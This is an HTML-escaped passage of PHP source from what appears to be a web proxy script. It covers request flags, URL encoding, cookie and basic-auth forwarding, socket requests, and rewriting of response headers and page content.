$count; ++$i)&lt;br /&gt;    {&lt;br /&gt;        $delim = '"';&lt;br /&gt;        $url   = $matches[$i][2];&lt;br /&gt;&lt;br /&gt;        if (isset($matches[$i][3]))&lt;br /&gt;        {&lt;br /&gt;            $delim = "'";&lt;br /&gt;            $url = $matches[$i][3];&lt;br /&gt;        }&lt;br /&gt;&lt;br /&gt;        $css = str_replace($matches[$i][0], '@import ' . $delim . proxify_css_url($matches[$i][1]) . $delim . (isset($matches[$i][4]) ? $matches[$i][4] : ''), $css);&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;    return $css;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;function proxify_css_url($url)&lt;br /&gt;{&lt;br /&gt;    $url   = trim($url);&lt;br /&gt;    $delim = strpos($url, '"') === 0 ? '"' : (strpos($url, "'") === 0 ? "'" : '');&lt;br /&gt;&lt;br /&gt;    return $delim . preg_replace('#([\(\),\s\'"\\\])#', '\\$1', complete_url(trim(preg_replace('#\\\(.)#', '$1', trim($url, $delim))))) . $delim;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;//&lt;br /&gt;// SET FLAGS&lt;br /&gt;//&lt;br /&gt;&lt;br /&gt;if (isset($_POST[$_config['url_var_name']]) &amp;&amp; !isset($_GET[$_config['url_var_name']]) &amp;&amp; isset($_POST[$_config['flags_var_name']]))&lt;br /&gt;{    &lt;br /&gt;    foreach ($_flags as $flag_name =&gt; $flag_value)&lt;br /&gt;    {&lt;br /&gt;        $_iflags .= isset($_POST[$_config['flags_var_name']][$flag_name]) ? (string)(int)(bool)$_POST[$_config['flags_var_name']][$flag_name] : ($_frozen_flags[$flag_name] ? $flag_value : '0');&lt;br /&gt;    }&lt;br /&gt;    &lt;br /&gt;    $_iflags = base_convert(($_iflags != '' ? $_iflags : '0'), 2, 16);&lt;br /&gt;}&lt;br /&gt;else if (isset($_GET[$_config['flags_var_name']]) &amp;&amp; !isset($_GET[$_config['get_form_name']]) &amp;&amp; ctype_alnum($_GET[$_config['flags_var_name']]))&lt;br /&gt;{&lt;br /&gt;    $_iflags = $_GET[$_config['flags_var_name']];&lt;br /&gt;}&lt;br /&gt;else if (isset($_COOKIE['flags']) &amp;&amp; ctype_alnum($_COOKIE['flags']))&lt;br /&gt;{&lt;br /&gt;    $_iflags = $_COOKIE['flags'];&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;if ($_iflags !== '')&lt;br /&gt;{&lt;br /&gt;    $_set_cookie[] = add_cookie('flags', $_iflags, time()+2419200);&lt;br /&gt;    $_iflags = str_pad(base_convert($_iflags, 16, 2), count($_flags), '0', STR_PAD_LEFT);&lt;br /&gt;    $i = 0;&lt;br /&gt;&lt;br /&gt;    foreach ($_flags as $flag_name =&gt; $flag_value)&lt;br /&gt;    {&lt;br /&gt;        $_flags[$flag_name] = $_frozen_flags[$flag_name] ? $flag_value : (int)(bool)$_iflags{$i};&lt;br /&gt;        $i++;&lt;br /&gt;    }&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;//&lt;br /&gt;// DETERMINE URL-ENCODING BASED ON FLAGS&lt;br /&gt;//&lt;br /&gt;&lt;br /&gt;if ($_flags['rotate13'])&lt;br /&gt;{&lt;br /&gt;    function encode_url($url)&lt;br /&gt;    {&lt;br /&gt;        return rawurlencode(str_rot13($url));&lt;br /&gt;    }&lt;br /&gt;    function decode_url($url)&lt;br /&gt;    {&lt;br /&gt;        return str_replace(array('&amp;amp;', '&amp;#38;'), '&amp;', str_rot13(rawurldecode($url)));&lt;br /&gt;    }&lt;br /&gt;}&lt;br /&gt;else if ($_flags['base64_encode'])&lt;br /&gt;{&lt;br /&gt;    function encode_url($url)&lt;br /&gt;    {&lt;br /&gt;        return rawurlencode(base64_encode($url));&lt;br /&gt;    }&lt;br /&gt;    function decode_url($url)&lt;br /&gt;    {&lt;br /&gt;        return str_replace(array('&amp;amp;', '&amp;#38;'), '&amp;', base64_decode(rawurldecode($url)));&lt;br /&gt;    }&lt;br /&gt;}&lt;br /&gt;else&lt;br /&gt;{&lt;br /&gt;    function encode_url($url)&lt;br /&gt;    {&lt;br /&gt;        return rawurlencode($url);&lt;br /&gt;    }&lt;br /&gt;    function decode_url($url)&lt;br /&gt;    {&lt;br /&gt;        return str_replace(array('&amp;amp;', '&amp;#38;'), '&amp;', rawurldecode($url));&lt;br /&gt;    }&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;//&lt;br /&gt;// COMPRESS OUTPUT IF INSTRUCTED&lt;br /&gt;//&lt;br /&gt;&lt;br /&gt;if ($_config['compress_output'] &amp;&amp; $_system['gzip'])&lt;br /&gt;{&lt;br /&gt;    ob_start('ob_gzhandler');&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;//&lt;br /&gt;// STRIP SLASHES FROM GPC IF NECESSARY&lt;br /&gt;//&lt;br /&gt;&lt;br /&gt;if ($_system['stripslashes'])&lt;br /&gt;{&lt;br /&gt;    function _stripslashes($value)&lt;br /&gt;    {&lt;br /&gt;        return is_array($value) ? array_map('_stripslashes', $value) : (is_string($value) ? stripslashes($value) : $value);&lt;br /&gt;    }&lt;br /&gt;    &lt;br /&gt;    $_GET    = _stripslashes($_GET);&lt;br /&gt;    $_POST   = _stripslashes($_POST);&lt;br /&gt;    $_COOKIE = _stripslashes($_COOKIE);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;//&lt;br /&gt;// FIGURE OUT WHAT TO DO (POST URL-form submit, GET form request, regular request, basic auth, cookie manager, show URL-form)&lt;br /&gt;//&lt;br /&gt;&lt;br /&gt;if (isset($_POST[$_config['url_var_name']]) &amp;&amp; !isset($_GET[$_config['url_var_name']]))&lt;br /&gt;{   &lt;br /&gt;    header('Location: ' . $_script_url . '?' . $_config['url_var_name'] . '=' . encode_url($_POST[$_config['url_var_name']]) . '&amp;' . $_config['flags_var_name'] . '=' . base_convert($_iflags, 2, 16));&lt;br /&gt;    exit(0);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;if (isset($_GET[$_config['get_form_name']]))&lt;br /&gt;{&lt;br /&gt;    $_url  = decode_url($_GET[$_config['get_form_name']]);&lt;br /&gt;    $qstr = strpos($_url, '?') !== false ? (strpos($_url, '?') === strlen($_url)-1 ? '' : '&amp;') : '?';&lt;br /&gt;    $arr  = explode('&amp;', $_SERVER['QUERY_STRING']);&lt;br /&gt;    &lt;br /&gt;    if (preg_match('#^\Q' . $_config['get_form_name'] . '\E#', $arr[0]))&lt;br /&gt;    {&lt;br /&gt;        array_shift($arr);&lt;br /&gt;    }&lt;br /&gt;    &lt;br /&gt;    $_url .= $qstr . implode('&amp;', $arr);&lt;br /&gt;}&lt;br /&gt;else if (isset($_GET[$_config['url_var_name']]))&lt;br /&gt;{&lt;br /&gt;    $_url = decode_url($_GET[$_config['url_var_name']]);&lt;br /&gt;}&lt;br /&gt;else if (isset($_GET['action']) &amp;&amp; $_GET['action'] == 'cookies')&lt;br /&gt;{&lt;br /&gt;    show_report(array('which' =&gt; 'cookies'));&lt;br /&gt;}&lt;br /&gt;else&lt;br /&gt;{&lt;br /&gt;    show_report(array('which' =&gt; 'index', 'category' =&gt; 'entry_form'));&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;if (isset($_GET[$_config['url_var_name']], $_POST[$_config['basic_auth_var_name']], $_POST['username'], $_POST['password']))&lt;br /&gt;{&lt;br /&gt;    $_request_method    = 'GET';&lt;br /&gt;    $_basic_auth_realm  = base64_decode($_POST[$_config['basic_auth_var_name']]);&lt;br /&gt;    $_basic_auth_header = base64_encode($_POST['username'] . ':' . $_POST['password']);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;//&lt;br /&gt;// SET URL&lt;br /&gt;//&lt;br /&gt;&lt;br /&gt;if (strpos($_url, '://') === false)&lt;br /&gt;{&lt;br /&gt;    $_url = 'http://' . $_url;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;if (url_parse($_url, $_url_parts))&lt;br /&gt;{&lt;br /&gt;    $_base = $_url_parts;&lt;br /&gt;    &lt;br /&gt;    if (!empty($_hosts))&lt;br /&gt;    {&lt;br /&gt;        foreach ($_hosts as $host)&lt;br /&gt;        {&lt;br /&gt;            if (preg_match($host, $_url_parts['host']))&lt;br /&gt;            {&lt;br /&gt;                show_report(array('which' =&gt; 'index', 'category' =&gt; 'error', 'group' =&gt; 'url', 'type' =&gt; 'external', 'error' =&gt; 1));&lt;br /&gt;            }&lt;br /&gt;        }&lt;br /&gt;    }&lt;br /&gt;}&lt;br /&gt;else&lt;br /&gt;{&lt;br /&gt;    show_report(array('which' =&gt; 'index', 'category' =&gt; 'error', 'group' =&gt; 'url', 'type' =&gt; 'external', 'error' =&gt; 2));&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;//&lt;br /&gt;// HOTLINKING PREVENTION&lt;br /&gt;//&lt;br /&gt;&lt;br /&gt;if (!$_config['allow_hotlinking'] &amp;&amp; isset($_SERVER['HTTP_REFERER']))&lt;br /&gt;{&lt;br /&gt;    $_hotlink_domains[] = $_http_host;&lt;br /&gt;    $is_hotlinking      = true;&lt;br /&gt;    &lt;br /&gt;    foreach ($_hotlink_domains as $host)&lt;br /&gt;    {&lt;br /&gt;        if (preg_match('#^https?\:\/\/(www)?\Q' . $host  . '\E(\/|\:|$)#i', trim($_SERVER['HTTP_REFERER'])))&lt;br /&gt;        {&lt;br /&gt;            $is_hotlinking = false;&lt;br /&gt;            break;&lt;br /&gt;        }&lt;br /&gt;    }&lt;br /&gt;    &lt;br /&gt;    if ($is_hotlinking)&lt;br /&gt;    {&lt;br /&gt;        switch ($_config['upon_hotlink'])&lt;br /&gt;        {&lt;br /&gt;            case 1:&lt;br /&gt;                show_report(array('which' =&gt; 'index', 'category' =&gt; 'error', 'group' =&gt; 'resource', 'type' =&gt; 'hotlinking'));&lt;br /&gt;                break;&lt;br /&gt;            case 2:&lt;br /&gt;                header('HTTP/1.0 404 Not Found');&lt;br /&gt;                exit(0);&lt;br /&gt;            default:&lt;br /&gt;                header('Location: ' . $_config['upon_hotlink']);&lt;br /&gt;                exit(0);&lt;br /&gt;        }&lt;br /&gt;    }&lt;br /&gt;}&lt;br /&gt; &lt;br /&gt;//&lt;br /&gt;// OPEN SOCKET TO SERVER&lt;br /&gt;//&lt;br /&gt;&lt;br /&gt;do&lt;br /&gt;{&lt;br /&gt;    $_retry  = false;&lt;br /&gt;    $_socket = @fsockopen(($_url_parts['scheme'] === 'https' &amp;&amp; $_system['ssl'] ? 'ssl://' : 'tcp://') . $_url_parts['host'], $_url_parts['port'], $err_no, $err_str, 30);&lt;br /&gt;&lt;br /&gt;    if ($_socket === false)&lt;br /&gt;    {&lt;br /&gt;        show_report(array('which' =&gt; 'index', 'category' =&gt; 'error', 'group' =&gt; 'url', 'type' =&gt; 'internal', 'error' =&gt; $err_no));&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;    //&lt;br /&gt;    // SET REQUEST HEADERS&lt;br /&gt;    //&lt;br /&gt;&lt;br /&gt;    $_request_headers  = $_request_method . ' ' . $_url_parts['path'];&lt;br /&gt;&lt;br /&gt;    if (isset($_url_parts['query']))&lt;br /&gt;    {&lt;br /&gt;        $_request_headers .= '?';&lt;br /&gt;        $query = preg_split('#([&amp;;])#', $_url_parts['query'], -1, PREG_SPLIT_DELIM_CAPTURE);&lt;br /&gt;        for ($i = 0, $count = count($query); $i &amp;lt; $count; $_request_headers .= implode('=', array_map('urlencode', array_map('urldecode', explode('=', $query[$i])))) . (isset($query[++$i]) ? $query[$i] : ''), $i++);&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;    $_request_headers .= " HTTP/1.0\r\n";&lt;br /&gt;    $_request_headers .= 'Host: ' . $_url_parts['host'] . $_url_parts['port_ext'] . "\r\n";&lt;br /&gt;&lt;br /&gt;    if (isset($_SERVER['HTTP_USER_AGENT']))&lt;br /&gt;    {&lt;br /&gt;        $_request_headers .= 'User-Agent: ' . $_SERVER['HTTP_USER_AGENT'] . "\r\n";&lt;br /&gt;    }&lt;br /&gt;    if (isset($_SERVER['HTTP_ACCEPT']))&lt;br /&gt;    {&lt;br /&gt;        $_request_headers .= 'Accept: ' . $_SERVER['HTTP_ACCEPT'] . "\r\n";&lt;br /&gt;    }&lt;br /&gt;    else&lt;br /&gt;    {&lt;br /&gt;        $_request_headers .= "Accept: */*;q=0.1\r\n";&lt;br /&gt;    }&lt;br /&gt;    if ($_flags['show_referer'] &amp;&amp; isset($_SERVER['HTTP_REFERER']) &amp;&amp; preg_match('#^\Q' . $_script_url . '?' . $_config['url_var_name'] . '=\E([^&amp;]+)#', $_SERVER['HTTP_REFERER'], $matches))&lt;br /&gt;    {&lt;br /&gt;        $_request_headers .= 'Referer: ' . decode_url($matches[1]) . "\r\n";&lt;br /&gt;    }&lt;br /&gt;    if (!empty($_COOKIE))&lt;br /&gt;    {&lt;br /&gt;        $_cookie  = '';&lt;br /&gt;        $_auth_creds    = array();&lt;br /&gt;    &lt;br /&gt;        foreach ($_COOKIE as $cookie_id =&gt; $cookie_content)&lt;br /&gt;        {&lt;br /&gt;            $cookie_id      = explode(';', rawurldecode($cookie_id));&lt;br /&gt;            $cookie_content = explode(';', rawurldecode($cookie_content));&lt;br /&gt;    &lt;br /&gt;            if ($cookie_id[0] === 'COOKIE')&lt;br /&gt;            {&lt;br /&gt;                $cookie_id[3] = str_replace('_', '.', $cookie_id[3]); //stupid PHP can't have dots in var names&lt;br /&gt;&lt;br /&gt;                if (count($cookie_id) &amp;lt; 4 || ($cookie_content[1] == 'secure' &amp;&amp; $_url_parts['scheme'] != 'https'))&lt;br /&gt;                {&lt;br /&gt;                    continue;&lt;br /&gt;                }&lt;br /&gt;    &lt;br /&gt;                if ((preg_match('#\Q' . $cookie_id[3] . '\E$#i', $_url_parts['host']) || strtolower($cookie_id[3]) == strtolower('.' . $_url_parts['host'])) &amp;&amp; preg_match('#^\Q' . $cookie_id[2] . '\E#', $_url_parts['path']))&lt;br /&gt;                {&lt;br /&gt;                    $_cookie .= ($_cookie != '' ? '; ' : '') . (empty($cookie_id[1]) ? '' : $cookie_id[1] . '=') . $cookie_content[0];&lt;br /&gt;                }&lt;br /&gt;            }&lt;br /&gt;            else if ($cookie_id[0] === 'AUTH' &amp;&amp; count($cookie_id) === 3)&lt;br /&gt;            {&lt;br /&gt;                $cookie_id[2] = str_replace('_', '.', $cookie_id[2]);&lt;br /&gt;&lt;br /&gt;                if ($_url_parts['host'] . ':' . $_url_parts['port'] === $cookie_id[2])&lt;br /&gt;                {&lt;br /&gt;                    $_auth_creds[$cookie_id[1]] = $cookie_content[0];&lt;br /&gt;                }&lt;br /&gt;            }&lt;br /&gt;        }&lt;br /&gt;        &lt;br /&gt;        if ($_cookie != '')&lt;br /&gt;        {&lt;br /&gt;            $_request_headers .= "Cookie: $_cookie\r\n";&lt;br /&gt;        }&lt;br /&gt;    }&lt;br /&gt;    if (isset($_url_parts['user'], $_url_parts['pass']))&lt;br /&gt;    {&lt;br /&gt;        $_basic_auth_header = base64_encode($_url_parts['user'] . ':' . $_url_parts['pass']);&lt;br /&gt;    }&lt;br /&gt;    if (!empty($_basic_auth_header))&lt;br /&gt;    {&lt;br /&gt;        $_set_cookie[] = add_cookie("AUTH;{$_basic_auth_realm};{$_url_parts['host']}:{$_url_parts['port']}", $_basic_auth_header);&lt;br /&gt;        $_request_headers .= "Authorization: Basic {$_basic_auth_header}\r\n";&lt;br /&gt;    }&lt;br /&gt;    else if (!empty($_basic_auth_realm) &amp;&amp; isset($_auth_creds[$_basic_auth_realm]))&lt;br /&gt;    {&lt;br /&gt;        $_request_headers  .= "Authorization: Basic {$_auth_creds[$_basic_auth_realm]}\r\n";&lt;br /&gt;    }&lt;br /&gt;    else if (list($_basic_auth_realm, $_basic_auth_header) = each($_auth_creds))&lt;br /&gt;    {&lt;br /&gt;        $_request_headers .= "Authorization: Basic {$_basic_auth_header}\r\n";&lt;br /&gt;    }&lt;br /&gt;    if ($_request_method == 'POST')&lt;br /&gt;    {   &lt;br /&gt;        if (!empty($_FILES) &amp;&amp; $_system['uploads'])&lt;br /&gt;        {&lt;br /&gt;            $_data_boundary = '----' . md5(uniqid(rand(), true));&lt;br /&gt;            $array = set_post_vars($_POST);&lt;br /&gt;    &lt;br /&gt;            foreach ($array as $key =&gt; $value)&lt;br /&gt;            {&lt;br /&gt;                $_post_body .= "--{$_data_boundary}\r\n";&lt;br /&gt;                $_post_body .= "Content-Disposition: form-data; name=\"$key\"\r\n\r\n";&lt;br /&gt;                $_post_body .= urldecode($value) . "\r\n";&lt;br /&gt;            }&lt;br /&gt;            &lt;br /&gt;            $array = set_post_files($_FILES);&lt;br /&gt;    &lt;br /&gt;            foreach ($array as $key =&gt; $file_info)&lt;br /&gt;            {&lt;br /&gt;                $_post_body .= "--{$_data_boundary}\r\n";&lt;br /&gt;                $_post_body .= "Content-Disposition: form-data; name=\"$key\"; filename=\"{$file_info['name']}\"\r\n";&lt;br /&gt;                $_post_body .= 'Content-Type: ' . (empty($file_info['type']) ? 'application/octet-stream' : $file_info['type']) . "\r\n\r\n";&lt;br /&gt;    &lt;br /&gt;                if (is_readable($file_info['tmp_name']))&lt;br /&gt;                {&lt;br /&gt;                    $handle = fopen($file_info['tmp_name'], 'rb');&lt;br /&gt;                    $_post_body .= fread($handle, filesize($file_info['tmp_name']));&lt;br /&gt;                    fclose($handle);&lt;br /&gt;                }&lt;br /&gt;                &lt;br /&gt;                $_post_body .= "\r\n";&lt;br /&gt;            }&lt;br /&gt;            &lt;br /&gt;            $_post_body       .= "--{$_data_boundary}--\r\n";&lt;br /&gt;            $_request_headers .= "Content-Type: multipart/form-data; boundary={$_data_boundary}\r\n";&lt;br /&gt;            $_request_headers .= "Content-Length: " . strlen($_post_body) . "\r\n\r\n";&lt;br /&gt;            $_request_headers .= $_post_body;&lt;br /&gt;        }&lt;br /&gt;        else&lt;br /&gt;        {&lt;br /&gt;            $array = set_post_vars($_POST);&lt;br /&gt;            &lt;br /&gt;            foreach ($array as $key =&gt; $value)&lt;br /&gt;            {&lt;br /&gt;                $_post_body .= !empty($_post_body) ? '&amp;' : '';&lt;br /&gt;                $_post_body .= $key . '=' . $value;&lt;br /&gt;            }&lt;br /&gt;            $_request_headers .= "Content-Type: application/x-www-form-urlencoded\r\n";&lt;br /&gt;            $_request_headers .= "Content-Length: " . strlen($_post_body) . "\r\n\r\n";&lt;br /&gt;            $_request_headers .= $_post_body;&lt;br /&gt;            $_request_headers .= "\r\n";&lt;br /&gt;        }&lt;br /&gt;        &lt;br /&gt;        $_post_body = '';&lt;br /&gt;    }&lt;br /&gt;    else&lt;br /&gt;    {&lt;br /&gt;        $_request_headers .= "\r\n";&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;    fwrite($_socket, $_request_headers);&lt;br /&gt;    &lt;br /&gt;    //&lt;br /&gt;    // PROCESS RESPONSE HEADERS&lt;br /&gt;    //&lt;br /&gt;    &lt;br /&gt;    $_response_headers = $_response_keys = array();&lt;br /&gt;    &lt;br /&gt;    $line = fgets($_socket, 8192);&lt;br /&gt;    &lt;br /&gt;    while (strspn($line, "\r\n") !== strlen($line))&lt;br /&gt;    {&lt;br /&gt;        @list($name, $value) = explode(':', $line, 2);&lt;br /&gt;        $name = trim($name);&lt;br /&gt;        $_response_headers[strtolower($name)][] = trim($value);&lt;br /&gt;        $_response_keys[strtolower($name)] = $name;&lt;br /&gt;        $line = fgets($_socket, 8192);&lt;br /&gt;    }&lt;br /&gt;    &lt;br /&gt;    sscanf(current($_response_keys), '%s %s', $_http_version, $_response_code);&lt;br /&gt;    &lt;br /&gt;    if (isset($_response_headers['content-type']))&lt;br /&gt;    {&lt;br /&gt;        list($_content_type, ) = explode(';', str_replace(' ', '', strtolower($_response_headers['content-type'][0])), 2);&lt;br /&gt;    }&lt;br /&gt;    if (isset($_response_headers['content-length']))&lt;br /&gt;    {&lt;br /&gt;        $_content_length = $_response_headers['content-length'][0];&lt;br /&gt;        unset($_response_headers['content-length'], $_response_keys['content-length']);&lt;br /&gt;    }&lt;br /&gt;    if (isset($_response_headers['content-disposition']))&lt;br /&gt;    {&lt;br /&gt;        $_content_disp = $_response_headers['content-disposition'][0];&lt;br /&gt;        unset($_response_headers['content-disposition'], $_response_keys['content-disposition']);&lt;br /&gt;    }&lt;br /&gt;    if (isset($_response_headers['set-cookie']) &amp;&amp; $_flags['accept_cookies'])&lt;br /&gt;    {&lt;br /&gt;        foreach ($_response_headers['set-cookie'] as $cookie)&lt;br /&gt;        {&lt;br /&gt;            $name = $value = $expires = $path = $domain = $secure = $expires_time = '';&lt;br /&gt;&lt;br /&gt;            preg_match('#^\s*([^=;,\s]*)\s*=?\s*([^;]*)#',  $cookie, $match) &amp;&amp; list(, $name, $value) = $match;&lt;br /&gt;            preg_match('#;\s*expires\s*=\s*([^;]*)#i',      $cookie, $match) &amp;&amp; list(, $expires)      = $match;&lt;br /&gt;            preg_match('#;\s*path\s*=\s*([^;,\s]*)#i',      $cookie, $match) &amp;&amp; list(, $path)         = $match;&lt;br /&gt;            preg_match('#;\s*domain\s*=\s*([^;,\s]*)#i',    $cookie, $match) &amp;&amp; list(, $domain)       = $match;&lt;br /&gt;            preg_match('#;\s*(secure\b)#i',                 $cookie, $match) &amp;&amp; list(, $secure)       = $match;&lt;br /&gt;    &lt;br /&gt;            $expires_time = empty($expires) ? 0 : intval(@strtotime($expires));&lt;br /&gt;            $expires = ($_flags['session_cookies'] &amp;&amp; !empty($expires) &amp;&amp; time()-$expires_time &amp;lt; 0) ? '' : $expires;&lt;br /&gt;            $path    = empty($path)   ? '/' : $path;&lt;br /&gt;                &lt;br /&gt;            if (empty($domain))&lt;br /&gt;            {&lt;br /&gt;                $domain = $_url_parts['host'];&lt;br /&gt;            }&lt;br /&gt;            else&lt;br /&gt;            {&lt;br /&gt;                $domain = '.' . strtolower(str_replace('..', '.', trim($domain, '.')));&lt;br /&gt;    &lt;br /&gt;                if ((!preg_match('#\Q' . $domain . '\E$#i', $_url_parts['host']) &amp;&amp; $domain != '.' . $_url_parts['host']) || (substr_count($domain, '.') &amp;lt; 2 &amp;&amp; $domain{0} == '.'))&lt;br /&gt;                {&lt;br /&gt;                    continue;&lt;br /&gt;                }&lt;br /&gt;            }&lt;br /&gt;            if (count($_COOKIE) &gt;= 15 &amp;&amp; time()-$expires_time &amp;lt;= 0)&lt;br /&gt;            {&lt;br /&gt;                $_set_cookie[] = add_cookie(current($_COOKIE), '', 1);&lt;br /&gt;            }&lt;br /&gt;            &lt;br /&gt;            $_set_cookie[] = add_cookie("COOKIE;$name;$path;$domain", "$value;$secure", $expires_time);&lt;br /&gt;        }&lt;br /&gt;    }&lt;br /&gt;    if (isset($_response_headers['set-cookie']))&lt;br /&gt;    {&lt;br /&gt;        unset($_response_headers['set-cookie'], $_response_keys['set-cookie']);&lt;br /&gt;    }&lt;br /&gt;    if (!empty($_set_cookie))&lt;br /&gt;    {&lt;br /&gt;        $_response_keys['set-cookie'] = 'Set-Cookie';&lt;br /&gt;        $_response_headers['set-cookie'] = $_set_cookie;&lt;br /&gt;    }&lt;br /&gt;    if (isset($_response_headers['p3p']) &amp;&amp; preg_match('#policyref\s*=\s*[\'"]?([^\'"\s]*)[\'"]?#i', $_response_headers['p3p'][0], $matches))&lt;br /&gt;    {&lt;br /&gt;        $_response_headers['p3p'][0] = str_replace($matches[0], 'policyref="' . complete_url($matches[1]) . '"', $_response_headers['p3p'][0]);&lt;br /&gt;    }&lt;br /&gt;    if (isset($_response_headers['refresh']) &amp;&amp; preg_match('#([0-9\s]*;\s*URL\s*=)\s*(\S*)#i', $_response_headers['refresh'][0], $matches))&lt;br /&gt;    {&lt;br /&gt;        $_response_headers['refresh'][0] = $matches[1] . complete_url($matches[2]);&lt;br /&gt;    }&lt;br /&gt;    if (isset($_response_headers['location']))&lt;br /&gt;    {   &lt;br /&gt;        $_response_headers['location'][0] = complete_url($_response_headers['location'][0]);&lt;br /&gt;    }&lt;br /&gt;    if (isset($_response_headers['uri']))&lt;br /&gt;    {   &lt;br /&gt;        $_response_headers['uri'][0] = complete_url($_response_headers['uri'][0]);&lt;br /&gt;    }&lt;br /&gt;    if (isset($_response_headers['content-location']))&lt;br /&gt;    {   &lt;br /&gt;        $_response_headers['content-location'][0] = complete_url($_response_headers['content-location'][0]);&lt;br /&gt;    }&lt;br /&gt;    if (isset($_response_headers['connection']))&lt;br /&gt;    {&lt;br /&gt;        unset($_response_headers['connection'], $_response_keys['connection']);&lt;br /&gt;    }&lt;br /&gt;    if (isset($_response_headers['keep-alive']))&lt;br /&gt;    {&lt;br /&gt;        unset($_response_headers['keep-alive'], $_response_keys['keep-alive']);&lt;br /&gt;    }&lt;br /&gt;    if ($_response_code == 401 &amp;&amp; isset($_response_headers['www-authenticate']) &amp;&amp; preg_match('#basic\s+(?:realm="(.*?)")?#i', $_response_headers['www-authenticate'][0], $matches))&lt;br /&gt;    {&lt;br /&gt;        if (isset($_auth_creds[$matches[1]]) &amp;&amp; !$_quit)&lt;br /&gt;        {&lt;br /&gt;            $_basic_auth_realm  = $matches[1];&lt;br /&gt;            $_basic_auth_header = '';&lt;br /&gt;            $_retry = $_quit = true;&lt;br /&gt;        }&lt;br /&gt;        else&lt;br /&gt;        {&lt;br /&gt;            show_report(array('which' =&gt; 'index', 'category' =&gt; 'auth', 'realm' =&gt; $matches[1]));&lt;br /&gt;        }&lt;br /&gt;    }&lt;br /&gt;}&lt;br /&gt;while ($_retry);&lt;br /&gt;&lt;br /&gt;//&lt;br /&gt;// OUTPUT RESPONSE IF NO PROXIFICATION IS NEEDED&lt;br /&gt;//  &lt;br /&gt;&lt;br /&gt;if (!isset($_proxify[$_content_type]))&lt;br /&gt;{&lt;br /&gt;    @set_time_limit(0);&lt;br /&gt;   &lt;br /&gt;    $_response_keys['content-disposition'] = 'Content-Disposition';&lt;br /&gt;    $_response_headers['content-disposition'][0] = empty($_content_disp) ? ($_content_type == 'application/octet_stream' ? 'attachment' : 'inline') . '; filename="' . $_url_parts['file'] . '"' : $_content_disp;&lt;br /&gt;    &lt;br /&gt;    if ($_content_length !== false)&lt;br /&gt;    {&lt;br /&gt;        if ($_config['max_file_size'] != -1 &amp;&amp; $_content_length &gt; $_config['max_file_size'])&lt;br /&gt;        {&lt;br /&gt;            show_report(array('which' =&gt; 'index', 'category' =&gt; 'error', 'group' =&gt; 'resource', 'type' =&gt; 'file_size'));&lt;br /&gt;        }&lt;br /&gt;        &lt;br /&gt;        $_response_keys['content-length'] = 'Content-Length';&lt;br /&gt;        $_response_headers['content-length'][0] = $_content_length;&lt;br /&gt;    }&lt;br /&gt;    &lt;br /&gt;    $_response_headers   = array_filter($_response_headers);&lt;br /&gt;    $_response_keys      = array_filter($_response_keys);&lt;br /&gt;    &lt;br /&gt;    header(array_shift($_response_keys));&lt;br /&gt;    array_shift($_response_headers);&lt;br /&gt;    &lt;br /&gt;    foreach ($_response_headers as $name =&gt; $array)&lt;br /&gt;    {&lt;br /&gt;        foreach ($array as $value)&lt;br /&gt;        {&lt;br /&gt;            header($_response_keys[$name] . ': ' . $value, false);&lt;br /&gt;        }&lt;br /&gt;    }&lt;br /&gt;        &lt;br /&gt;    do&lt;br /&gt;    {&lt;br /&gt;        $data = fread($_socket, 8192);&lt;br /&gt;        echo $data;&lt;br /&gt;    }&lt;br /&gt;    while (isset($data{0}));&lt;br /&gt;        &lt;br /&gt;    fclose($_socket);&lt;br /&gt;    exit(0);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;do&lt;br /&gt;{&lt;br /&gt;    $data = @fread($_socket, 8192); // silenced to avoid the "normal" warning by a faulty SSL connection&lt;br /&gt;    $_response_body .= $data;&lt;br /&gt;}   &lt;br /&gt;while (isset($data{0}));&lt;br /&gt;   &lt;br /&gt;unset($data);&lt;br /&gt;fclose($_socket);&lt;br /&gt;&lt;br /&gt;//&lt;br /&gt;// MODIFY AND DUMP RESOURCE&lt;br /&gt;//&lt;br /&gt;&lt;br /&gt;if ($_content_type == 'text/css')&lt;br /&gt;{&lt;br /&gt;    $_response_body = proxify_css($_response_body);&lt;br /&gt;}&lt;br /&gt;else&lt;br /&gt;{&lt;br /&gt;    if ($_flags['strip_title'])&lt;br /&gt;    {&lt;br /&gt;        $_response_body = preg_replace('#(&amp;lt;\s*title[^&gt;]*&gt;)(.*?)(&amp;lt;\s*/title[^&gt;]*&gt;)#is', '$1$3', $_response_body);&lt;br /&gt;    }&lt;br /&gt;    if ($_flags['remove_scripts'])&lt;br /&gt;    {&lt;br /&gt;        $_response_body = preg_replace('#&amp;lt;\s*script[^&gt;]*?&gt;.*?&amp;lt;\s*/\s*script\s*&gt;#si', '', $_response_body);&lt;br /&gt;        $_response_body = preg_replace("#(\bon[a-z]+)\s*=\s*(?:\"([^\"]*)\"?|'([^']*)'?|([^'\"\s&gt;]*))?#i", '', $_response_body);&lt;br /&gt;        $_response_body = preg_replace('#&amp;lt;noscript&gt;(.*?)&amp;lt;/noscript&gt;#si', "$1", $_response_body);&lt;br /&gt;    }&lt;br /&gt;    if (!$_flags['show_images'])&lt;br /&gt;    {&lt;br /&gt;        $_response_body = preg_replace('#&amp;lt;(img|image)[^&gt;]*?&gt;#si', '', $_response_body);&lt;br /&gt;    }&lt;br /&gt;    &lt;br /&gt;    //&lt;br /&gt;    // PROXIFY HTML RESOURCE&lt;br /&gt;    //&lt;br /&gt;    &lt;br /&gt;    $tags = array&lt;br /&gt;    (&lt;br /&gt;        'a'          =&gt; array('href'),&lt;br /&gt;        'img'        =&gt; array('src', 'longdesc'),&lt;br /&gt;        'image'      =&gt; array('src', 'longdesc'),&lt;br /&gt;        'body'       